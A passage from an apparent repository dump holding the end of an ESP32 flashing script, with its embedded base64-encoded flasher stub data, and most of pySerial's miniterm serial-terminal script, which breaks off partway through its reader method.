Iv3bLfjhv3KG+hkxL8U7H/BY3lXY5n0hTPSCFKtaclwHsuIhypo1yQJVYx8E7dUDDTeOj2lMiAeiDdnO\\\neBt0+oL0n8Pc5YoCrLD11aSLitUxvobjFbXtEnIU86dFOeokLf0Uj5Hrn9k7NrAueKpgXmY+B17OApaDs4BMum78A6fp8EvI9zdslij7jzkGubp9Xz4SVPosCj4EAD+wI+DnP7JtUfIPkzL4qJM/5ZTx96kcoudy\\\nWGf8kW+Tj3zLP/JtMB7A1nDZVMkezOI7tLK/WZsB9hNaAryOAG9ZycP8bq8OoGXX184es3/6HehTB3kirsRzSEE+N4UoaddfluxsuGRg27gS8/Yx7HI3Yv3Yr4bpWl0e0zccd+TUgTPMAm0XdB5nnXlj7OtdIuJK\\\nFd0hrCbr2B639bUc4ON1hgyvpuCdcybT2n5LpFgyTTUNbxo2nAaIG+jZkksaBJNtZxg7ubsFUkr1bR6bzMpyq1XWOyCUYWcBdUuzDXkEFSQZYNARnFSrgjzpMrobQfyxWZQ70V0inxoGMHSWkFPbYEukztjmAcE0\\\nObzFMSCJ20i4vWyXcPdicYKRCmQVvOCkkeMqcKsJ+hUFNy629vm2CcTQXS2nb8AppIAH2y1gvdb+mK4cc5xuX1xAhT0+LIuBtwY65dNhDzkZRE4Fdocg5GXBXZwgFnfDyCeKrrgDGcPg2bL8wPdm+b0BYwRfwuFL\\\nK6eZ8wMBqjvVtFhuLSFvisLtsSmnOc7fqxxxNJ3DAHg2QQ7YwmlRB+M7NYogwgn7bv7snGF3x7Ix5iqUmlkiZ7YmIwmghucpLJ/dJNpFL/v9b6//ToevtnY72kXTKif0hZNr6vD+BGIGm3aRDLQRKm6vltv7/vm0\\\nGE13a9ccrLqhAU/21f6oIedSxXw/U/HgB7P7UI6vAYMVRSc0EXq4fAJkF1IBqjy+mqM7caoos9pABksFiq046MDU9qGcUUx9xSA7rxxEuZWcccvxgDFSNJhPwG2OD6MpmXYaH/UvLrFpjFeTxHg1CR7DSeN7FMfX\\\nOrxUSClJKJbLs1RQUEsFH6OJeXPN9c//KbV+fsSpZqjd4bIOV/YqIm41hdaC1w9712vgzSLnV70aWwHJZBFmYahEDadjlu4wOuxuD+qiMuGcg4u6bFryKmjOQUBwS+SJETXUeNQNz7ryzDClmhUp7qDg2eaJ4AAq\\\nSAIeKRJNwe8hVvrIPMerSMwT5kw5rQpZc7i/CPuGeNdEZUbfcDTNWkj3E+VNl0SYUclbbO7wRe8eMhgm92umyax0Dghbw1niZrIEI27wqU9bOfMkwvfFEzPaWdseye1XQD2rLrl6Inf9yEeUCkC1Vv/IyMRsH7MP\\\numN2cfUGNMxZJ06cRAh1F2LXfDcYamRDSIGQWe1oJrWdDXfIWHRO+Bya23rCDiUaYFsjcEdKPucARCIZtjrnPUm3xcfY1DOwUtTXfB1Od1VbQLBWMujsuNVF2PLBPqsIpzDPaBtFCJzgNG8AgQC+OeNzA874S8Mi\\\nQWZ4VZZSZyccbOoo/UqOmY3n6BarJ7OHtzyzQt3J9gT3eMePkp21aDTbPpEkxaSRizXerpDMRotMnERrJNFX32hGP/XVYNEROH9mnDOvtFwwU4tSqIaYlAqhu9Q7N0nN5Yy0CZTTyn5qrjBecVOR0R+f1ECoFLG/\\\nAvCK7yVS6R6I6J7pFzhsfnOG79ARSQMBZn+cKGUb1OJDetMNckq9Ck+TXvaPlmKyrfEXaz3Gp3HwDoM6hVynFSzBErcCayKnev7srtISXk3IbNRyuFGYdrLiqhYxuwpRiJKAjsl9Uznhwe/c04sFqF7NVxx4E2LY\\\nrU2fAnq00lEADbJpvVy9ZseoZrvYKjja7+pYxGTa9UG3LYmxO7yBqkkD6Zxh7ROZ+W5n1izl/pd4kEIO5Duvzz9ZKPTpsrvG6YpTvqvqd5D665CMrsLC+7DwoU9tZnDbYDEsdxfE1V+FNFcPaa7kCKtj4kN6E+JD\\\nSgyJT5dum4/SOl6Gur9w3jzBU24jvhYMd0UCK5hcvOeeW/9Om2+raU2OIJruFi3a27hPgWu+G6IqV90al8vVnGgu7ZzBQMfMRfZ7uVPmq+GdoHKdaM2xtzIzRG2NWpOLNOSglEikM9naPGBHo3wJNtfkjDjL4fEp\\\ni+/lih9/u9zgxjjZs2nHfd0FMf0dK2nyd9KWtu4sbTpsOeMsIeiRWa6d8M8s0yeybv4QFwvIhsU02myaWAkSQ9WTiFicqhZuCOwZZ3ggsC9fsVlf3jojIuT3QDSTmHxIepVUCc/VZn6uiOMpXSdYwqohq7mf7gj1\\\n0cbLfZ+NFATZ8u7eQOxVr4C0snKqAI+bpbf420T2YWhZG07VdJhzD7qjGktDR8xny5wuZO3Cn/6GCwcRiowVZZ1uPLnYjKkV4H0RyDezpBxP5O7Y+MOSlKOVkgmbicjHUXBln+HziD03WqLdMRm8zlW7xG9tp+QV\\\nbBKn2PLPXwe5QjVfaxIGbTGdfvx7BCgGB+ciNWHc7D7fpQeumg3c2e5mh+Bgh8rwvgvqTI7yTTcSin2apcT4uZgseFYRh7qNseJtucTWLNk+eNpggjoSQcGqeI9WX3JL33h0N5VpVL1mncW1EH1B3NPraXMU4aXN\\\nP769KhdwdbNW07EZT6fjcful+eVq8Y/wpWlf1uVVyXc8925uxUWeBNab5GoKJjP+yWV7Kac24P2gJiiI7sWCrYKCCOG2sMVbjvB66oIC3KXiC0ED3hwrsbBHR12pTh0Wwga9AggfuK1gRb8VxQSxIPdM+Gn5wnVd\\\nl2wkDV7/J5/EVnzExaGTePg9X9ksN6i6iTTVYeHaaVxXiK6r0/QKfIWUFpXOS/OabHFaAOfRfMc/kQ/LhXdBj6LMfifYv6fwKoAKHBxfMCqYxtLVycMgbzYoD72W4TXn0175qldaDPyPwdjhTVF0+1yornv3B3SF\\\ncvnS5p6DrFdcFa0H9fXgezooZ4PyeFDOB2UzKNtBHHZFXLYrR2GhVzO8n1r/tCIY/+/66RvK6WfS0E00dRONDcv5DeXpDWXz0fLVR0q/fKS0nIG1IiPrI+XFx3jnxt/n8m3+WTi6+ox5DyF3N0iBAeR6AMnw4nLd\\\n628tLNwOC71ue77IUVh4ERZ6C/J2IGkGcJaDsh2Um2wFl+gvyMX/binwR6XEH5Uif1TK/FEpdFP5M39adYEyz4FT5LzuasgqPP8uF/xJRMlz2iodd+1MN9n6DY3lbJqq1jb+7f8APK6wwQ==\\\n\"\"\")))\nESP32ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b\"\"\"\n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\\\n\"\"\")))\n\n\ndef _main():\n try:\n main()\n except FatalError as e:\n print('\\nA fatal error occurred: %s' % e)\n sys.exit(2)\n\n\nif __name__ == '__main__':\n _main()\n"
},
{
"path": "scripts/miniterm.py",
"content": "#!/usr/bin/env python\n#\n# Very simple serial terminal\n#\n# This file is part of pySerial. https://github.com/pyserial/pyserial\n# (C)2002-2020 Chris Liechti \n#\n# SPDX-License-Identifier: BSD-3-Clause\n\nfrom __future__ import absolute_import\n\nimport codecs\nimport os\nimport sys\nimport threading\n\nimport serial\nfrom serial.tools.list_ports import comports\nfrom serial.tools import hexlify_codec\n\n# pylint: disable=wrong-import-order,wrong-import-position\n\ncodecs.register(lambda c: hexlify_codec.getregentry() if c == 'hexlify' else None)\n\ntry:\n raw_input\nexcept NameError:\n # pylint: disable=redefined-builtin,invalid-name\n raw_input = input # in python3 it's \"raw\"\n unichr = chr\n\n\ndef key_description(character):\n \"\"\"generate a readable description for a key\"\"\"\n ascii_code = ord(character)\n if ascii_code < 32:\n return 'Ctrl+{:c}'.format(ord('@') + ascii_code)\n else:\n return repr(character)\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nclass ConsoleBase(object):\n \"\"\"OS abstraction for console (input/output codec, no echo)\"\"\"\n\n def __init__(self):\n if sys.version_info >= (3, 0):\n self.byte_output = sys.stdout.buffer\n else:\n self.byte_output = sys.stdout\n self.output = sys.stdout\n\n def setup(self):\n \"\"\"Set console to read single characters, no echo\"\"\"\n\n def cleanup(self):\n \"\"\"Restore default console settings\"\"\"\n\n def getkey(self):\n \"\"\"Read a single key from the console\"\"\"\n return None\n\n def write_bytes(self, byte_string):\n \"\"\"Write bytes (already encoded)\"\"\"\n self.byte_output.write(byte_string)\n self.byte_output.flush()\n\n def write(self, text):\n \"\"\"Write string\"\"\"\n self.output.write(text)\n self.output.flush()\n\n def cancel(self):\n \"\"\"Cancel getkey operation\"\"\"\n\n # - - - - - - - - - - - - - - - - - - - - - - - -\n # context manager:\n # switch terminal temporary to normal mode (e.g. to get user input)\n\n def __enter__(self):\n self.cleanup()\n return self\n\n def __exit__(self, *args, **kwargs):\n self.setup()\n\n\nif os.name == 'nt': # noqa\n import msvcrt\n import ctypes\n import platform\n\n class Out(object):\n \"\"\"file-like wrapper that uses os.write\"\"\"\n\n def __init__(self, fd):\n self.fd = fd\n\n def flush(self):\n pass\n\n def write(self, s):\n os.write(self.fd, s)\n\n class Console(ConsoleBase):\n fncodes = {\n ';': '\\x1bOP', # F1\n '<': '\\x1bOQ', # F2\n '=': '\\x1bOR', # F3\n '>': '\\x1bOS', # F4\n '?': '\\x1b[15~', # F5\n '@': '\\x1b[17~', # F6\n 'A': '\\x1b[18~', # F7\n 'B': '\\x1b[19~', # F8\n 'C': '\\x1b[20~', # F9\n 'D': '\\x1b[21~', # F10\n }\n navcodes = {\n 'H': '\\x1b[A', # UP\n 'P': '\\x1b[B', # DOWN\n 'K': '\\x1b[D', # LEFT\n 'M': '\\x1b[C', # RIGHT\n 'G': '\\x1b[H', # HOME\n 'O': '\\x1b[F', # END\n 'R': '\\x1b[2~', # INSERT\n 'S': '\\x1b[3~', # DELETE\n 'I': '\\x1b[5~', # PGUP\n 'Q': '\\x1b[6~', # PGDN \n }\n \n def __init__(self):\n super(Console, self).__init__()\n self._saved_ocp = ctypes.windll.kernel32.GetConsoleOutputCP()\n self._saved_icp = ctypes.windll.kernel32.GetConsoleCP()\n ctypes.windll.kernel32.SetConsoleOutputCP(65001)\n ctypes.windll.kernel32.SetConsoleCP(65001)\n # ANSI handling available through SetConsoleMode since Windows 10 v1511 \n # https://en.wikipedia.org/wiki/ANSI_escape_code#cite_note-win10th2-1\n if platform.release() == '10' and int(platform.version().split('.')[2]) > 10586:\n ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004\n import ctypes.wintypes as wintypes\n if not hasattr(wintypes, 'LPDWORD'): # PY2\n wintypes.LPDWORD = ctypes.POINTER(wintypes.DWORD)\n SetConsoleMode = ctypes.windll.kernel32.SetConsoleMode\n GetConsoleMode = ctypes.windll.kernel32.GetConsoleMode\n GetStdHandle = ctypes.windll.kernel32.GetStdHandle\n mode = wintypes.DWORD()\n GetConsoleMode(GetStdHandle(-11), ctypes.byref(mode))\n if (mode.value & ENABLE_VIRTUAL_TERMINAL_PROCESSING) == 0:\n SetConsoleMode(GetStdHandle(-11), mode.value | ENABLE_VIRTUAL_TERMINAL_PROCESSING)\n self._saved_cm = mode\n self.output = codecs.getwriter('UTF-8')(Out(sys.stdout.fileno()), 'replace')\n # the change of the code page is not propagated to Python, manually fix it\n sys.stderr = codecs.getwriter('UTF-8')(Out(sys.stderr.fileno()), 'replace')\n sys.stdout = self.output\n self.output.encoding = 'UTF-8' # needed for input\n\n def __del__(self):\n ctypes.windll.kernel32.SetConsoleOutputCP(self._saved_ocp)\n ctypes.windll.kernel32.SetConsoleCP(self._saved_icp)\n try:\n ctypes.windll.kernel32.SetConsoleMode(ctypes.windll.kernel32.GetStdHandle(-11), self._saved_cm)\n except AttributeError: # in case no _saved_cm\n pass\n\n def getkey(self):\n while True:\n z = msvcrt.getwch()\n if z == unichr(13):\n return unichr(10)\n elif z is unichr(0) or z is unichr(0xe0):\n try:\n code = msvcrt.getwch()\n if z is unichr(0):\n return self.fncodes[code]\n else:\n return self.navcodes[code]\n except KeyError:\n pass\n else:\n return z\n\n def cancel(self):\n # CancelIo, CancelSynchronousIo do not seem to work when using\n # getwch, so instead, send a key to the window with the console\n hwnd = ctypes.windll.kernel32.GetConsoleWindow()\n ctypes.windll.user32.PostMessageA(hwnd, 0x100, 0x0d, 0)\n\nelif os.name == 'posix':\n import atexit\n import termios\n import fcntl\n\n class Console(ConsoleBase):\n def __init__(self):\n super(Console, self).__init__()\n self.fd = sys.stdin.fileno()\n self.old = termios.tcgetattr(self.fd)\n atexit.register(self.cleanup)\n if sys.version_info < (3, 0):\n self.enc_stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin)\n else:\n self.enc_stdin = sys.stdin\n\n def setup(self):\n new = termios.tcgetattr(self.fd)\n new[3] = new[3] & ~termios.ICANON & ~termios.ECHO & ~termios.ISIG\n new[6][termios.VMIN] = 1\n new[6][termios.VTIME] = 0\n termios.tcsetattr(self.fd, termios.TCSANOW, new)\n\n def getkey(self):\n c = self.enc_stdin.read(1)\n if c == unichr(0x7f):\n c = unichr(8) # map the BS key (which yields DEL) to backspace\n return c\n\n def cancel(self):\n fcntl.ioctl(self.fd, termios.TIOCSTI, b'\\0')\n\n def cleanup(self):\n termios.tcsetattr(self.fd, termios.TCSAFLUSH, self.old)\n\nelse:\n raise NotImplementedError(\n 'Sorry no implementation for your platform ({}) available.'.format(sys.platform))\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nclass Transform(object):\n \"\"\"do-nothing: forward all data unchanged\"\"\"\n def rx(self, text):\n \"\"\"text received from serial port\"\"\"\n return text\n\n def tx(self, text):\n \"\"\"text to be sent to serial port\"\"\"\n return text\n\n def echo(self, text):\n \"\"\"text to be sent but displayed on console\"\"\"\n return text\n\n\nclass CRLF(Transform):\n \"\"\"ENTER sends CR+LF\"\"\"\n\n def tx(self, text):\n return text.replace('\\n', '\\r\\n')\n\n\nclass CR(Transform):\n \"\"\"ENTER sends CR\"\"\"\n\n def rx(self, text):\n return text.replace('\\r', '\\n')\n\n def tx(self, text):\n return text.replace('\\n', '\\r')\n\n\nclass LF(Transform):\n \"\"\"ENTER sends LF\"\"\"\n\n\nclass NoTerminal(Transform):\n \"\"\"remove typical terminal control codes from input\"\"\"\n\n REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32) if unichr(x) not in '\\r\\n\\b\\t')\n REPLACEMENT_MAP.update(\n {\n 0x7F: 0x2421, # DEL\n 0x9B: 0x2425, # CSI\n })\n\n def rx(self, text):\n return text.translate(self.REPLACEMENT_MAP)\n\n echo = rx\n\n\nclass NoControls(NoTerminal):\n \"\"\"Remove all control codes, incl. CR+LF\"\"\"\n\n REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32))\n REPLACEMENT_MAP.update(\n {\n 0x20: 0x2423, # visual space\n 0x7F: 0x2421, # DEL\n 0x9B: 0x2425, # CSI\n })\n\n\nclass Printable(Transform):\n \"\"\"Show decimal code for all non-ASCII characters and replace most control codes\"\"\"\n\n def rx(self, text):\n r = []\n for c in text:\n if ' ' <= c < '\\x7f' or c in '\\r\\n\\b\\t':\n r.append(c)\n elif c < ' ':\n r.append(unichr(0x2400 + ord(c)))\n else:\n r.extend(unichr(0x2080 + ord(d) - 48) for d in '{:d}'.format(ord(c)))\n r.append(' ')\n return ''.join(r)\n\n echo = rx\n\n\nclass Colorize(Transform):\n \"\"\"Apply different colors for received and echo\"\"\"\n\n def __init__(self):\n # XXX make it configurable, use colorama?\n self.input_color = '\\x1b[37m'\n self.echo_color = '\\x1b[31m'\n\n def rx(self, text):\n return self.input_color + text\n\n def echo(self, text):\n return self.echo_color + text\n\n\nclass DebugIO(Transform):\n \"\"\"Print what is sent and received\"\"\"\n\n def rx(self, text):\n sys.stderr.write(' [RX:{!r}] '.format(text))\n sys.stderr.flush()\n return text\n\n def tx(self, text):\n sys.stderr.write(' [TX:{!r}] '.format(text))\n sys.stderr.flush()\n return text\n\n\n# other ideas:\n# - add date/time for each newline\n# - insert newline after: a) timeout b) packet end character\n\nEOL_TRANSFORMATIONS = {\n 'crlf': CRLF,\n 'cr': CR,\n 'lf': LF,\n}\n\nTRANSFORMATIONS = {\n 'direct': Transform, # no transformation\n 'default': NoTerminal,\n 'nocontrol': NoControls,\n 'printable': Printable,\n 'colorize': Colorize,\n 'debug': DebugIO,\n}\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\ndef ask_for_port():\n \"\"\"\\\n Show a list of ports and ask the user for a choice. To make selection\n easier on systems with long device names, also allow the input of an\n index.\n \"\"\"\n sys.stderr.write('\\n--- Available ports:\\n')\n ports = []\n for n, (port, desc, hwid) in enumerate(sorted(comports()), 1):\n sys.stderr.write('--- {:2}: {:20} {!r}\\n'.format(n, port, desc))\n ports.append(port)\n while True:\n port = raw_input('--- Enter port index or full name: ')\n try:\n index = int(port) - 1\n if not 0 <= index < len(ports):\n sys.stderr.write('--- Invalid index!\\n')\n continue\n except ValueError:\n pass\n else:\n port = ports[index]\n return port\n\n\nclass Miniterm(object):\n \"\"\"\\\n Terminal application. Copy data from serial port to console and vice versa.\n Handle special keys from the console to show menu etc.\n \"\"\"\n\n def __init__(self, serial_instance, echo=False, eol='crlf', filters=()):\n self.console = Console()\n self.serial = serial_instance\n self.echo = echo\n self.raw = False\n self.input_encoding = 'UTF-8'\n self.output_encoding = 'UTF-8'\n self.eol = eol\n self.filters = filters\n self.update_transformations()\n self.exit_character = unichr(0x1d) # GS/CTRL+]\n self.menu_character = unichr(0x14) # Menu: CTRL+T\n self.alive = None\n self._reader_alive = None\n self.receiver_thread = None\n self.rx_decoder = None\n self.tx_decoder = None\n\n def _start_reader(self):\n \"\"\"Start reader thread\"\"\"\n self._reader_alive = True\n # start serial->console thread\n self.receiver_thread = threading.Thread(target=self.reader, name='rx')\n self.receiver_thread.daemon = True\n self.receiver_thread.start()\n\n def _stop_reader(self):\n \"\"\"Stop reader thread only, wait for clean exit of thread\"\"\"\n self._reader_alive = False\n if hasattr(self.serial, 'cancel_read'):\n self.serial.cancel_read()\n self.receiver_thread.join()\n\n def start(self):\n \"\"\"start worker threads\"\"\"\n self.alive = True\n self._start_reader()\n # enter console->serial loop\n self.transmitter_thread = threading.Thread(target=self.writer, name='tx')\n self.transmitter_thread.daemon = True\n self.transmitter_thread.start()\n self.console.setup()\n\n def stop(self):\n \"\"\"set flag to stop worker threads\"\"\"\n self.alive = False\n\n def join(self, transmit_only=False):\n \"\"\"wait for worker threads to terminate\"\"\"\n self.transmitter_thread.join()\n if not transmit_only:\n if hasattr(self.serial, 'cancel_read'):\n self.serial.cancel_read()\n self.receiver_thread.join()\n\n def close(self):\n self.serial.close()\n\n def update_transformations(self):\n \"\"\"take list of transformation classes and instantiate them for rx and tx\"\"\"\n transformations = [EOL_TRANSFORMATIONS[self.eol]] + [TRANSFORMATIONS[f]\n for f in self.filters]\n self.tx_transformations = [t() for t in transformations]\n self.rx_transformations = list(reversed(self.tx_transformations))\n\n def set_rx_encoding(self, encoding, errors='replace'):\n \"\"\"set encoding for received data\"\"\"\n self.input_encoding = encoding\n self.rx_decoder = codecs.getincrementaldecoder(encoding)(errors)\n\n def set_tx_encoding(self, encoding, errors='replace'):\n \"\"\"set encoding for transmitted data\"\"\"\n self.output_encoding = encoding\n self.tx_encoder = codecs.getincrementalencoder(encoding)(errors)\n\n def dump_port_settings(self):\n \"\"\"Write current settings to sys.stderr\"\"\"\n sys.stderr.write(\"\\n--- Settings: {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits}\\n\".format(\n p=self.serial))\n sys.stderr.write('--- RTS: {:8} DTR: {:8} BREAK: {:8}\\n'.format(\n ('active' if self.serial.rts else 'inactive'),\n ('active' if self.serial.dtr else 'inactive'),\n ('active' if self.serial.break_condition else 'inactive')))\n try:\n sys.stderr.write('--- CTS: {:8} DSR: {:8} RI: {:8} CD: {:8}\\n'.format(\n ('active' if self.serial.cts else 'inactive'),\n ('active' if self.serial.dsr else 'inactive'),\n ('active' if self.serial.ri else 'inactive'),\n ('active' if self.serial.cd else 'inactive')))\n except serial.SerialException:\n # on RFC 2217 ports, it can happen if no modem state notification was\n # yet received. ignore this error.\n pass\n sys.stderr.write('--- software flow control: {}\\n'.format('active' if self.serial.xonxoff else 'inactive'))\n sys.stderr.write('--- hardware flow control: {}\\n'.format('active' if self.serial.rtscts else 'inactive'))\n sys.stderr.write('--- serial input encoding: {}\\n'.format(self.input_encoding))\n sys.stderr.write('--- serial output encoding: {}\\n'.format(self.output_encoding))\n sys.stderr.write('--- EOL: {}\\n'.format(self.eol.upper()))\n sys.stderr.write('--- filters: {}\\n'.format(' '.join(self.filters)))\n\n def reader(self):\n \"\"\"loop and copy serial->console\"\"\"\n try:\n while self.alive and self._reader_alive:\n # read all that is there or wait for one byte\n data = 